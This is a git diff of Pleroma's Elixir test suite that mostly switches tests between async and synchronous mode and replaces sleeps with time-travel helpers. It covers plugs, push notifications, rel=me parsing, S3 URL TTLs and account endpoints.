	defmodule Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlugTest do
	- use Pleroma.Web.ConnCase, async: true
	+ use Pleroma.Web.ConnCase

	alias Pleroma.Config
	alias Pleroma.User
	alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug

	setup do: clear_config([:instance, :public])

	test "it halts if not public and no user is assigned", %{conn: conn} do
	Config.put([:instance, :public], false)

	conn =
	conn
	\|> EnsurePublicOrAuthenticatedPlug.call(%{})

	assert conn.status == 403
	assert conn.halted == true
	end

	test "it continues if public", %{conn: conn} do
	Config.put([:instance, :public], true)

	ret_conn =
	conn
	\|> EnsurePublicOrAuthenticatedPlug.call(%{})

	refute ret_conn.halted
	end

	test "it continues if a user is assigned, even if not public", %{conn: conn} do
	Config.put([:instance, :public], false)

	conn =
	conn
	\|> assign(:user, %User{})

	ret_conn =
	conn
	\|> EnsurePublicOrAuthenticatedPlug.call(%{})

	refute ret_conn.halted
	end
	end
	diff --git a/test/pleroma/web/plugs/idempotency_plug_test.exs b/test/pleroma/web/plugs/idempotency_plug_test.exs
	index 4a7835993..ed8b3fc1a 100644
	--- a/test/pleroma/web/plugs/idempotency_plug_test.exs
	+++ b/test/pleroma/web/plugs/idempotency_plug_test.exs
	@@ -1,110 +1,111 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Plugs.IdempotencyPlugTest do
	- use ExUnit.Case, async: true
	+ # Relies on Cachex, has to stay synchronous
	+ use Pleroma.DataCase
	use Plug.Test

	alias Pleroma.Web.Plugs.IdempotencyPlug
	alias Plug.Conn

	test "returns result from cache" do
	key = "test1"
	orig_request_id = "test1"
	second_request_id = "test2"
	body = "testing"
	status = 200

	:post
	\|> conn("/cofe")
	\|> put_req_header("idempotency-key", key)
	\|> Conn.put_resp_header("x-request-id", orig_request_id)
	\|> Conn.put_resp_content_type("application/json")
	\|> IdempotencyPlug.call([])
	\|> Conn.send_resp(status, body)

	conn =
	:post
	\|> conn("/cofe")
	\|> put_req_header("idempotency-key", key)
	\|> Conn.put_resp_header("x-request-id", second_request_id)
	\|> Conn.put_resp_content_type("application/json")
	\|> IdempotencyPlug.call([])

	assert_raise Conn.AlreadySentError, fn ->
	Conn.send_resp(conn, :im_a_teapot, "no cofe")
	end

	assert conn.resp_body == body
	assert conn.status == status

	assert [^second_request_id] = Conn.get_resp_header(conn, "x-request-id")
	assert [^orig_request_id] = Conn.get_resp_header(conn, "x-original-request-id")
	assert [^key] = Conn.get_resp_header(conn, "idempotency-key")
	assert ["true"] = Conn.get_resp_header(conn, "idempotent-replayed")
	assert ["application/json; charset=utf-8"] = Conn.get_resp_header(conn, "content-type")
	end

	test "pass conn downstream if the cache not found" do
	key = "test2"
	orig_request_id = "test3"
	body = "testing"
	status = 200

	conn =
	:post
	\|> conn("/cofe")
	\|> put_req_header("idempotency-key", key)
	\|> Conn.put_resp_header("x-request-id", orig_request_id)
	\|> Conn.put_resp_content_type("application/json")
	\|> IdempotencyPlug.call([])
	\|> Conn.send_resp(status, body)

	assert conn.resp_body == body
	assert conn.status == status

	assert [] = Conn.get_resp_header(conn, "idempotent-replayed")
	assert [^key] = Conn.get_resp_header(conn, "idempotency-key")
	end

	test "passes conn downstream if idempotency is not present in headers" do
	orig_request_id = "test4"
	body = "testing"
	status = 200

	conn =
	:post
	\|> conn("/cofe")
	\|> Conn.put_resp_header("x-request-id", orig_request_id)
	\|> Conn.put_resp_content_type("application/json")
	\|> IdempotencyPlug.call([])
	\|> Conn.send_resp(status, body)

	assert [] = Conn.get_resp_header(conn, "idempotency-key")
	end

	test "doesn't work with GET/DELETE" do
	key = "test3"
	body = "testing"
	status = 200

	conn =
	:get
	\|> conn("/cofe")
	\|> put_req_header("idempotency-key", key)
	\|> IdempotencyPlug.call([])
	\|> Conn.send_resp(status, body)

	assert [] = Conn.get_resp_header(conn, "idempotency-key")

	conn =
	:delete
	\|> conn("/cofe")
	\|> put_req_header("idempotency-key", key)
	\|> IdempotencyPlug.call([])
	\|> Conn.send_resp(status, body)

	assert [] = Conn.get_resp_header(conn, "idempotency-key")
	end
	end
	diff --git a/test/pleroma/web/plugs/uploaded_media_plug_test.exs b/test/pleroma/web/plugs/uploaded_media_plug_test.exs
	index 7c8313121..bae9208ec 100644
	--- a/test/pleroma/web/plugs/uploaded_media_plug_test.exs
	+++ b/test/pleroma/web/plugs/uploaded_media_plug_test.exs
	@@ -1,43 +1,43 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Plugs.UploadedMediaPlugTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true
	alias Pleroma.Upload

	defp upload_file(context) do
	Pleroma.DataCase.ensure_local_uploader(context)
	File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg")

	file = %Plug.Upload{
	content_type: "image/jpeg",
	path: Path.absname("test/fixtures/image_tmp.jpg"),
	filename: "nice_tf.jpg"
	}

	{:ok, data} = Upload.store(file)
	[%{"href" => attachment_url} \| _] = data["url"]
	[attachment_url: attachment_url]
	end

	setup_all :upload_file

	test "does not send Content-Disposition header when name param is not set", %{
	attachment_url: attachment_url
	} do
	conn = get(build_conn(), attachment_url)
	refute Enum.any?(conn.resp_headers, &(elem(&1, 0) == "content-disposition"))
	end

	test "sends Content-Disposition header when name param is set", %{
	attachment_url: attachment_url
	} do
	conn = get(build_conn(), attachment_url <> "?name=\"cofe\".gif")

	assert Enum.any?(
	conn.resp_headers,
	&(&1 == {"content-disposition", "filename=\"\\\"cofe\\\".gif\""})
	)
	end
	end
	diff --git a/test/pleroma/web/plugs/user_enabled_plug_test.exs b/test/pleroma/web/plugs/user_enabled_plug_test.exs
	index 71c56f03a..e9c9e5f3e 100644
	--- a/test/pleroma/web/plugs/user_enabled_plug_test.exs
	+++ b/test/pleroma/web/plugs/user_enabled_plug_test.exs
	@@ -1,59 +1,59 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Plugs.UserEnabledPlugTest do
	- use Pleroma.Web.ConnCase, async: true
	+ use Pleroma.Web.ConnCase

	alias Pleroma.Web.Plugs.UserEnabledPlug
	import Pleroma.Factory

	setup do: clear_config([:instance, :account_activation_required])

	test "doesn't do anything if the user isn't set", %{conn: conn} do
	ret_conn =
	conn
	\|> UserEnabledPlug.call(%{})

	assert ret_conn == conn
	end

	test "with a user that's not confirmed and a config requiring confirmation, it removes that user",
	%{conn: conn} do
	Pleroma.Config.put([:instance, :account_activation_required], true)

	user = insert(:user, confirmation_pending: true)

	conn =
	conn
	\|> assign(:user, user)
	\|> UserEnabledPlug.call(%{})

	assert conn.assigns.user == nil
	end

	test "with a user that is deactivated, it removes that user", %{conn: conn} do
	user = insert(:user, deactivated: true)

	conn =
	conn
	\|> assign(:user, user)
	\|> UserEnabledPlug.call(%{})

	assert conn.assigns.user == nil
	end

	test "with a user that is not deactivated, it does nothing", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)

	ret_conn =
	conn
	\|> UserEnabledPlug.call(%{})

	assert conn == ret_conn
	end
	end
	diff --git a/test/pleroma/web/preload/providers/user_test.exs b/test/pleroma/web/preload/providers/user_test.exs
	index 83f065e27..6be03af79 100644
	--- a/test/pleroma/web/preload/providers/user_test.exs
	+++ b/test/pleroma/web/preload/providers/user_test.exs
	@@ -1,33 +1,33 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Preload.Providers.UserTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	import Pleroma.Factory
	alias Pleroma.Web.Preload.Providers.User

	describe "returns empty when user doesn't exist" do
	test "nil user specified" do
	assert User.generate_terms(%{user: nil}) == %{}
	end

	test "missing user specified" do
	assert User.generate_terms(%{user: :not_a_user}) == %{}
	end
	end

	describe "specified user exists" do
	setup do
	user = insert(:user)

	terms = User.generate_terms(%{user: user})
	%{terms: terms, user: user}
	end

	test "account is rendered", %{terms: terms, user: user} do
	account = terms["/api/v1/accounts/#{user.id}"]
	assert %{acct: user, username: user} = account
	end
	end
	end
	diff --git a/test/pleroma/web/push/impl_test.exs b/test/pleroma/web/push/impl_test.exs
	index 2a4a8fd06..326a67963 100644
	--- a/test/pleroma/web/push/impl_test.exs
	+++ b/test/pleroma/web/push/impl_test.exs
	@@ -1,362 +1,362 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Push.ImplTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	import Pleroma.Factory

	alias Pleroma.Notification
	alias Pleroma.Object
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.Push.Impl
	alias Pleroma.Web.Push.Subscription

	setup do
	Tesla.Mock.mock(fn
	%{method: :post, url: "https://example.com/example/1234"} ->
	%Tesla.Env{status: 200}

	%{method: :post, url: "https://example.com/example/not_found"} ->
	%Tesla.Env{status: 400}

	%{method: :post, url: "https://example.com/example/bad"} ->
	%Tesla.Env{status: 100}
	end)

	:ok
	end

	@sub %{
	endpoint: "https://example.com/example/1234",
	keys: %{
	auth: "8eDyX_uCN0XRhSbY5hs7Hg==",
	p256dh:
	"BCIWgsnyXDv1VkhqL2P7YRBvdeuDnlwAPT2guNhdIoW3IP7GmHh1SMKPLxRf7x8vJy6ZFK3ol2ohgn_-0yP7QQA="
	}
	}
	@api_key "BASgACIHpN1GYgzSRp"
	@message "@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..."

	test "performs sending notifications" do
	user = insert(:user)
	user2 = insert(:user)
	insert(:push_subscription, user: user, data: %{alerts: %{"mention" => true}})
	insert(:push_subscription, user: user2, data: %{alerts: %{"mention" => true}})

	insert(:push_subscription,
	user: user,
	data: %{alerts: %{"follow" => true, "mention" => true}}
	)

	insert(:push_subscription,
	user: user,
	data: %{alerts: %{"follow" => true, "mention" => false}}
	)

	{:ok, activity} = CommonAPI.post(user, %{status: "<Lorem ipsum dolor sit amet."})

	notif =
	insert(:notification,
	user: user,
	activity: activity,
	type: "mention"
	)

	assert Impl.perform(notif) == {:ok, [:ok, :ok]}
	end

	@tag capture_log: true
	test "returns error if notif does not match " do
	assert Impl.perform(%{}) == {:error, :unknown_type}
	end

	test "successful message sending" do
	assert Impl.push_message(@message, @sub, @api_key, %Subscription{}) == :ok
	end

	@tag capture_log: true
	test "fail message sending" do
	assert Impl.push_message(
	@message,
	Map.merge(@sub, %{endpoint: "https://example.com/example/bad"}),
	@api_key,
	%Subscription{}
	) == :error
	end

	test "delete subscription if result send message between 400..500" do
	subscription = insert(:push_subscription)

	assert Impl.push_message(
	@message,
	Map.merge(@sub, %{endpoint: "https://example.com/example/not_found"}),
	@api_key,
	subscription
	) == :ok

	refute Pleroma.Repo.get(Subscription, subscription.id)
	end

	test "deletes subscription when token has been deleted" do
	subscription = insert(:push_subscription)

	Pleroma.Repo.delete(subscription.token)

	refute Pleroma.Repo.get(Subscription, subscription.id)
	end

	test "renders title and body for create activity" do
	user = insert(:user, nickname: "Bob")

	{:ok, activity} =
	CommonAPI.post(user, %{
	status:
	"<span>Lorem ipsum dolor sit amet</span>, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis."
	})

	object = Object.normalize(activity)

	assert Impl.format_body(
	%{
	activity: activity
	},
	user,
	object
	) ==
	"@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..."

	assert Impl.format_title(%{activity: activity, type: "mention"}) ==
	"New Mention"
	end

	test "renders title and body for follow activity" do
	user = insert(:user, nickname: "Bob")
	other_user = insert(:user)
	{:ok, _, _, activity} = CommonAPI.follow(user, other_user)
	object = Object.normalize(activity, false)

	assert Impl.format_body(%{activity: activity, type: "follow"}, user, object) ==
	"@Bob has followed you"

	assert Impl.format_title(%{activity: activity, type: "follow"}) ==
	"New Follower"
	end

	test "renders title and body for announce activity" do
	user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{
	status:
	"<span>Lorem ipsum dolor sit amet</span>, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis."
	})

	{:ok, announce_activity} = CommonAPI.repeat(activity.id, user)
	object = Object.normalize(activity)

	assert Impl.format_body(%{activity: announce_activity}, user, object) ==
	"@#{user.nickname} repeated: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..."

	assert Impl.format_title(%{activity: announce_activity, type: "reblog"}) ==
	"New Repeat"
	end

	test "renders title and body for like activity" do
	user = insert(:user, nickname: "Bob")

	{:ok, activity} =
	CommonAPI.post(user, %{
	status:
	"<span>Lorem ipsum dolor sit amet</span>, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis."
	})

	{:ok, activity} = CommonAPI.favorite(user, activity.id)
	object = Object.normalize(activity)

	assert Impl.format_body(%{activity: activity, type: "favourite"}, user, object) ==
	"@Bob has favorited your post"

	assert Impl.format_title(%{activity: activity, type: "favourite"}) ==
	"New Favorite"
	end

	test "renders title and body for pleroma:emoji_reaction activity" do
	user = insert(:user, nickname: "Bob")

	{:ok, activity} =
	CommonAPI.post(user, %{
	status: "This post is a really good post!"
	})

	{:ok, activity} = CommonAPI.react_with_emoji(activity.id, user, "👍")
	object = Object.normalize(activity)

	assert Impl.format_body(%{activity: activity, type: "pleroma:emoji_reaction"}, user, object) ==
	"@Bob reacted with 👍"

	assert Impl.format_title(%{activity: activity, type: "pleroma:emoji_reaction"}) ==
	"New Reaction"
	end

	test "renders title for create activity with direct visibility" do
	user = insert(:user, nickname: "Bob")

	{:ok, activity} =
	CommonAPI.post(user, %{
	visibility: "direct",
	status: "This is just between you and me, pal"
	})

	assert Impl.format_title(%{activity: activity}) ==
	"New Direct Message"
	end

	describe "build_content/3" do
	test "builds content for chat messages" do
	user = insert(:user)
	recipient = insert(:user)

	{:ok, chat} = CommonAPI.post_chat_message(user, recipient, "hey")
	object = Object.normalize(chat, false)
	[notification] = Notification.for_user(recipient)

	res = Impl.build_content(notification, user, object)

	assert res == %{
	body: "@#{user.nickname}: hey",
	title: "New Chat Message"
	}
	end

	test "builds content for chat messages with no content" do
	user = insert(:user)
	recipient = insert(:user)

	file = %Plug.Upload{
	content_type: "image/jpeg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	{:ok, upload} = ActivityPub.upload(file, actor: user.ap_id)

	{:ok, chat} = CommonAPI.post_chat_message(user, recipient, nil, media_id: upload.id)
	object = Object.normalize(chat, false)
	[notification] = Notification.for_user(recipient)

	res = Impl.build_content(notification, user, object)

	assert res == %{
	body: "@#{user.nickname}: (Attachment)",
	title: "New Chat Message"
	}
	end

	test "hides contents of notifications when option enabled" do
	user = insert(:user, nickname: "Bob")

	user2 =
	insert(:user, nickname: "Rob", notification_settings: %{hide_notification_contents: true})

	{:ok, activity} =
	CommonAPI.post(user, %{
	visibility: "direct",
	status: "<Lorem ipsum dolor sit amet."
	})

	notif = insert(:notification, user: user2, activity: activity)

	actor = User.get_cached_by_ap_id(notif.activity.data["actor"])
	object = Object.normalize(activity)

	assert Impl.build_content(notif, actor, object) == %{
	body: "New Direct Message"
	}

	{:ok, activity} =
	CommonAPI.post(user, %{
	visibility: "public",
	status: "<Lorem ipsum dolor sit amet."
	})

	notif = insert(:notification, user: user2, activity: activity, type: "mention")

	actor = User.get_cached_by_ap_id(notif.activity.data["actor"])
	object = Object.normalize(activity)

	assert Impl.build_content(notif, actor, object) == %{
	body: "New Mention"
	}

	{:ok, activity} = CommonAPI.favorite(user, activity.id)

	notif = insert(:notification, user: user2, activity: activity, type: "favourite")

	actor = User.get_cached_by_ap_id(notif.activity.data["actor"])
	object = Object.normalize(activity)

	assert Impl.build_content(notif, actor, object) == %{
	body: "New Favorite"
	}
	end

	test "returns regular content when hiding contents option disabled" do
	user = insert(:user, nickname: "Bob")

	user2 =
	insert(:user, nickname: "Rob", notification_settings: %{hide_notification_contents: false})

	{:ok, activity} =
	CommonAPI.post(user, %{
	visibility: "direct",
	status:
	"<span>Lorem ipsum dolor sit amet</span>, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis."
	})

	notif = insert(:notification, user: user2, activity: activity)

	actor = User.get_cached_by_ap_id(notif.activity.data["actor"])
	object = Object.normalize(activity)

	assert Impl.build_content(notif, actor, object) == %{
	body:
	"@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini...",
	title: "New Direct Message"
	}

	{:ok, activity} =
	CommonAPI.post(user, %{
	visibility: "public",
	status:
	"<span>Lorem ipsum dolor sit amet</span>, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis."
	})

	notif = insert(:notification, user: user2, activity: activity, type: "mention")

	actor = User.get_cached_by_ap_id(notif.activity.data["actor"])
	object = Object.normalize(activity)

	assert Impl.build_content(notif, actor, object) == %{
	body:
	"@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini...",
	title: "New Mention"
	}

	{:ok, activity} = CommonAPI.favorite(user, activity.id)

	notif = insert(:notification, user: user2, activity: activity, type: "favourite")

	actor = User.get_cached_by_ap_id(notif.activity.data["actor"])
	object = Object.normalize(activity)

	assert Impl.build_content(notif, actor, object) == %{
	body: "@Bob has favorited your post",
	title: "New Favorite"
	}
	end
	end
	end
	diff --git a/test/pleroma/web/rel_me_test.exs b/test/pleroma/web/rel_me_test.exs
	index 65255916d..811cb0893 100644
	--- a/test/pleroma/web/rel_me_test.exs
	+++ b/test/pleroma/web/rel_me_test.exs
	@@ -1,48 +1,48 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.RelMeTest do
	- use ExUnit.Case
	+ use Pleroma.DataCase

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	test "parse/1" do
	hrefs = ["https://social.example.org/users/lain"]

	assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/null") == {:ok, []}

	assert {:ok, %Tesla.Env{status: 404}} =
	Pleroma.Web.RelMe.parse("http://example.com/rel_me/error")

	assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/link") == {:ok, hrefs}
	assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/anchor") == {:ok, hrefs}
	assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/anchor_nofollow") == {:ok, hrefs}
	end

	test "maybe_put_rel_me/2" do
	profile_urls = ["https://social.example.org/users/lain"]
	attr = "me"
	fallback = nil

	assert Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/null", profile_urls) ==
	fallback

	assert Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/error", profile_urls) ==
	fallback

	assert Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/anchor", profile_urls) ==
	attr

	assert Pleroma.Web.RelMe.maybe_put_rel_me(
	"http://example.com/rel_me/anchor_nofollow",
	profile_urls
	) == attr

	assert Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/link", profile_urls) ==
	attr
	end
	end
	diff --git a/test/pleroma/web/rich_media/parser/ttl/aws_signed_url_test.exs b/test/pleroma/web/rich_media/parser/ttl/aws_signed_url_test.exs
	index 2f17bebd7..242521138 100644
	--- a/test/pleroma/web/rich_media/parser/ttl/aws_signed_url_test.exs
	+++ b/test/pleroma/web/rich_media/parser/ttl/aws_signed_url_test.exs
	@@ -1,82 +1,83 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrlTest do
	- use ExUnit.Case, async: true
	+ # Relies on Cachex, needs to be synchronous
	+ use Pleroma.DataCase

	test "s3 signed url is parsed correct for expiration time" do
	url = "https://pleroma.social/amz"

	{:ok, timestamp} =
	Timex.now()
	\|> DateTime.truncate(:second)
	\|> Timex.format("{ISO:Basic:Z}")

	# in seconds
	valid_till = 30

	metadata = construct_metadata(timestamp, valid_till, url)

	expire_time =
	Timex.parse!(timestamp, "{ISO:Basic:Z}") \|> Timex.to_unix() \|> Kernel.+(valid_till)

	assert {:ok, expire_time} == Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrl.ttl(metadata, url)
	end

	test "s3 signed url is parsed and correct ttl is set for rich media" do
	url = "https://pleroma.social/amz"

	{:ok, timestamp} =
	Timex.now()
	\|> DateTime.truncate(:second)
	\|> Timex.format("{ISO:Basic:Z}")

	# in seconds
	valid_till = 30

	metadata = construct_metadata(timestamp, valid_till, url)

	body = """
	<meta name="twitter:card" content="Pleroma" />
	<meta name="twitter:site" content="Pleroma" />
	<meta name="twitter:title" content="Pleroma" />
	<meta name="twitter:description" content="Pleroma" />
	<meta name="twitter:image" content="#{Map.get(metadata, :image)}" />
	"""

	Tesla.Mock.mock(fn
	%{
	method: :get,
	url: "https://pleroma.social/amz"
	} ->
	%Tesla.Env{status: 200, body: body}
	end)

	Cachex.put(:rich_media_cache, url, metadata)

	Pleroma.Web.RichMedia.Parser.set_ttl_based_on_image(metadata, url)

	{:ok, cache_ttl} = Cachex.ttl(:rich_media_cache, url)

	# as there is delay in setting and pulling the data from cache we ignore 1 second
	# make it 2 seconds for flakyness
	assert_in_delta(valid_till * 1000, cache_ttl, 2000)
	end

	defp construct_s3_url(timestamp, valid_till) do
	"https://pleroma.s3.ap-southeast-1.amazonaws.com/sachin%20%281%29%20_a%20-%25%2Aasdasd%20BNN%20bnnn%20.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIBLWWK6RGDQXDLJQ%2F20190716%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Date=#{
	timestamp
	}&X-Amz-Expires=#{valid_till}&X-Amz-Signature=04ffd6b98634f4b1bbabc62e0fac4879093cd54a6eed24fe8eb38e8369526bbf&X-Amz-SignedHeaders=host"
	end

	defp construct_metadata(timestamp, valid_till, url) do
	%{
	image: construct_s3_url(timestamp, valid_till),
	site: "Pleroma",
	title: "Pleroma",
	description: "Pleroma",
	url: url
	}
	end
	end
	diff --git a/test/pleroma/web/twitter_api/controller_test.exs b/test/pleroma/web/twitter_api/controller_test.exs
	index 464d0ea2e..b3ca67637 100644
	--- a/test/pleroma/web/twitter_api/controller_test.exs
	+++ b/test/pleroma/web/twitter_api/controller_test.exs
	@@ -1,138 +1,136 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.TwitterAPI.ControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	- alias Pleroma.Builders.ActivityBuilder
	alias Pleroma.Repo
	alias Pleroma.User
	+ alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.OAuth.Token

	import Pleroma.Factory

	describe "POST /api/qvitter/statuses/notifications/read" do
	test "without valid credentials", %{conn: conn} do
	conn = post(conn, "/api/qvitter/statuses/notifications/read", %{"latest_id" => 1_234_567})
	assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
	end

	test "with credentials, without any params" do
	%{conn: conn} = oauth_access(["write:notifications"])

	conn = post(conn, "/api/qvitter/statuses/notifications/read")

	assert json_response(conn, 400) == %{
	"error" => "You need to specify latest_id",
	"request" => "/api/qvitter/statuses/notifications/read"
	}
	end

	test "with credentials, with params" do
	%{user: current_user, conn: conn} =
	oauth_access(["read:notifications", "write:notifications"])

	other_user = insert(:user)

	{:ok, _activity} =
	- ActivityBuilder.insert(%{"to" => [current_user.ap_id]}, %{user: other_user})
	+ CommonAPI.post(other_user, %{
	+ status: "Hey @#{current_user.nickname}"
	+ })

	response_conn =
	conn
	- \|> assign(:user, current_user)
	\|> get("/api/v1/notifications")

	- [notification] = response = json_response(response_conn, 200)
	-
	- assert length(response) == 1
	+ [notification] = json_response(response_conn, 200)

	assert notification["pleroma"]["is_seen"] == false

	response_conn =
	conn
	- \|> assign(:user, current_user)
	\|> post("/api/qvitter/statuses/notifications/read", %{"latest_id" => notification["id"]})

	[notification] = response = json_response(response_conn, 200)

	assert length(response) == 1

	assert notification["pleroma"]["is_seen"] == true
	end
	end

	describe "GET /api/account/confirm_email/:id/:token" do
	setup do
	{:ok, user} =
	insert(:user)
	\|> User.confirmation_changeset(need_confirmation: true)
	\|> Repo.update()

	assert user.confirmation_pending

	[user: user]
	end

	test "it redirects to root url", %{conn: conn, user: user} do
	conn = get(conn, "/api/account/confirm_email/#{user.id}/#{user.confirmation_token}")

	assert 302 == conn.status
	end

	test "it confirms the user account", %{conn: conn, user: user} do
	get(conn, "/api/account/confirm_email/#{user.id}/#{user.confirmation_token}")

	user = User.get_cached_by_id(user.id)

	refute user.confirmation_pending
	refute user.confirmation_token
	end

	test "it returns 500 if user cannot be found by id", %{conn: conn, user: user} do
	conn = get(conn, "/api/account/confirm_email/0/#{user.confirmation_token}")

	assert 500 == conn.status
	end

	test "it returns 500 if token is invalid", %{conn: conn, user: user} do
	conn = get(conn, "/api/account/confirm_email/#{user.id}/wrong_token")

	assert 500 == conn.status
	end
	end

	describe "GET /api/oauth_tokens" do
	setup do
	token = insert(:oauth_token) \|> Repo.preload(:user)

	%{token: token}
	end

	test "renders list", %{token: token} do
	response =
	build_conn()
	\|> assign(:user, token.user)
	\|> get("/api/oauth_tokens")

	keys =
	json_response(response, 200)
	\|> hd()
	\|> Map.keys()

	assert keys -- ["id", "app_name", "valid_until"] == []
	end

	test "revoke token", %{token: token} do
	response =
	build_conn()
	\|> assign(:user, token.user)
	\|> delete("/api/oauth_tokens/#{token.id}")

	tokens = Token.get_user_tokens(token.user)

	assert tokens == []
	assert response.status == 201
	end
	end
	end
	diff --git a/test/pleroma/web/twitter_api/password_controller_test.exs b/test/pleroma/web/twitter_api/password_controller_test.exs
	index 6d08075cc..c1f5bc5c7 100644
	--- a/test/pleroma/web/twitter_api/password_controller_test.exs
	+++ b/test/pleroma/web/twitter_api/password_controller_test.exs
	@@ -1,120 +1,119 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.TwitterAPI.PasswordControllerTest do
	use Pleroma.Web.ConnCase

	alias Pleroma.PasswordResetToken
	alias Pleroma.User
	alias Pleroma.Web.OAuth.Token
	import Pleroma.Factory

	describe "GET /api/pleroma/password_reset/token" do
	test "it returns error when token invalid", %{conn: conn} do
	response =
	conn
	\|> get("/api/pleroma/password_reset/token")
	\|> html_response(:ok)

	assert response =~ "<h2>Invalid Token</h2>"
	end

	test "it shows password reset form", %{conn: conn} do
	user = insert(:user)
	{:ok, token} = PasswordResetToken.create_token(user)

	response =
	conn
	\|> get("/api/pleroma/password_reset/#{token.token}")
	\|> html_response(:ok)

	assert response =~ "<h2>Password Reset for #{user.nickname}</h2>"
	end

	test "it returns an error when the token has expired", %{conn: conn} do
	clear_config([:instance, :password_reset_token_validity], 0)

	user = insert(:user)
	{:ok, token} = PasswordResetToken.create_token(user)
	-
	- :timer.sleep(2000)
	+ {:ok, token} = time_travel(token, -2)

	response =
	conn
	\|> get("/api/pleroma/password_reset/#{token.token}")
	\|> html_response(:ok)

	assert response =~ "<h2>Invalid Token</h2>"
	end
	end

	describe "POST /api/pleroma/password_reset" do
	test "it fails for an expired token", %{conn: conn} do
	clear_config([:instance, :password_reset_token_validity], 0)

	user = insert(:user)
	{:ok, token} = PasswordResetToken.create_token(user)
	- :timer.sleep(2000)
	+ {:ok, token} = time_travel(token, -2)
	{:ok, _access_token} = Token.create(insert(:oauth_app), user, %{})

	params = %{
	"password" => "test",
	password_confirmation: "test",
	token: token.token
	}

	response =
	conn
	\|> assign(:user, user)
	\|> post("/api/pleroma/password_reset", %{data: params})
	\|> html_response(:ok)

	refute response =~ "<h2>Password changed!</h2>"
	end

	test "it returns HTTP 200", %{conn: conn} do
	user = insert(:user)
	{:ok, token} = PasswordResetToken.create_token(user)
	{:ok, _access_token} = Token.create(insert(:oauth_app), user, %{})

	params = %{
	"password" => "test",
	password_confirmation: "test",
	token: token.token
	}

	response =
	conn
	\|> assign(:user, user)
	\|> post("/api/pleroma/password_reset", %{data: params})
	\|> html_response(:ok)

	assert response =~ "<h2>Password changed!</h2>"

	user = refresh_record(user)
	assert Pbkdf2.verify_pass("test", user.password_hash)
	assert Enum.empty?(Token.get_user_tokens(user))
	end

	test "it sets password_reset_pending to false", %{conn: conn} do
	user = insert(:user, password_reset_pending: true)

	{:ok, token} = PasswordResetToken.create_token(user)
	{:ok, _access_token} = Token.create(insert(:oauth_app), user, %{})

	params = %{
	"password" => "test",
	password_confirmation: "test",
	token: token.token
	}

	conn
	\|> assign(:user, user)
	\|> post("/api/pleroma/password_reset", %{data: params})
	\|> html_response(:ok)

	assert User.get_by_id(user.id).password_reset_pending == false
	end
	end
	end
